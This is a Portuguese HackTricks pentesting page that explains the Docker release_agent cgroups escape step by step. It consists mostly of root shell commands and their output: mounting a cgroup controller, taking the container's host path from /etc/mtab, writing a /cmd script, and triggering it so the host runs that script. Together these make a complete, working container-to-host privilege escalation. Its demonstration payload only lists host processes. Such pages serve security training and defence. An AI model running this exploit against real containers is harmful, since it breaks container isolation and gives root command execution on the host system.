hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
2023-06-06 18:56:34 +00:00

7.9 KiB

Docker release_agent cgroups escape

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Quebrando o conceito

Para acionar essa exploração, precisamos de um cgroup onde possamos criar um arquivo release_agent e acionar a invocação do release_agent matando todos os processos no cgroup. A maneira mais fácil de fazer isso é montar um controlador cgroup e criar um cgroup filho.

Para fazer isso, criamos um diretório /tmp/cgrp, montamos o controlador cgroup RDMA e criamos um cgroup filho (nomeado "x" para fins de exemplo). Embora nem todos os controladores cgroup tenham sido testados, essa técnica deve funcionar com a maioria dos controladores cgroup.

Se você estiver seguindo e receber mount: /tmp/cgrp: dispositivo especial cgroup não existe, é porque sua configuração não possui o controlador cgroup RDMA. Mude rdma para memory para corrigir. Estamos usando RDMA porque o PoC original foi projetado apenas para funcionar com ele.

Observe que os controladores cgroup são recursos globais que podem ser montados várias vezes com permissões diferentes e as alterações renderizadas em uma montagem serão aplicadas a outra.

Podemos ver a criação do cgroup filho "x" e sua listagem de diretórios abaixo.

root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

Em seguida, habilitamos as notificações cgroup na liberação do cgroup "x" escrevendo um 1 em seu arquivo notify_on_release. Também definimos o agente de liberação do cgroup RDMA para executar um script /cmd - que criaremos posteriormente no contêiner - escrevendo o caminho do script /cmd no host para o arquivo release_agent. Para fazer isso, vamos obter o caminho do contêiner no host a partir do arquivo /etc/mtab.

Os arquivos que adicionamos ou modificamos no contêiner estão presentes no host e é possível modificá-los de ambos os mundos: o caminho no contêiner e o caminho no host.

Essas operações podem ser vistas abaixo:

root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

Observe o caminho para o script /cmd, que vamos criar no host:

root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd

Agora, criamos o script /cmd de forma que ele execute o comando ps aux e salve sua saída em /output no container, especificando o caminho completo do arquivo de saída no host. No final, também imprimimos o conteúdo do script /cmd para ver seus detalhes:

root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

Finalmente, podemos executar o ataque gerando um processo que termina imediatamente dentro do cgroup filho "x". Ao criar um processo /bin/sh e escrever seu PID no arquivo cgroup.procs no diretório do cgroup filho "x", o script no host será executado após a saída do /bin/sh. A saída do comando ps aux executado no host é então salva no arquivo /output dentro do contêiner:

root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥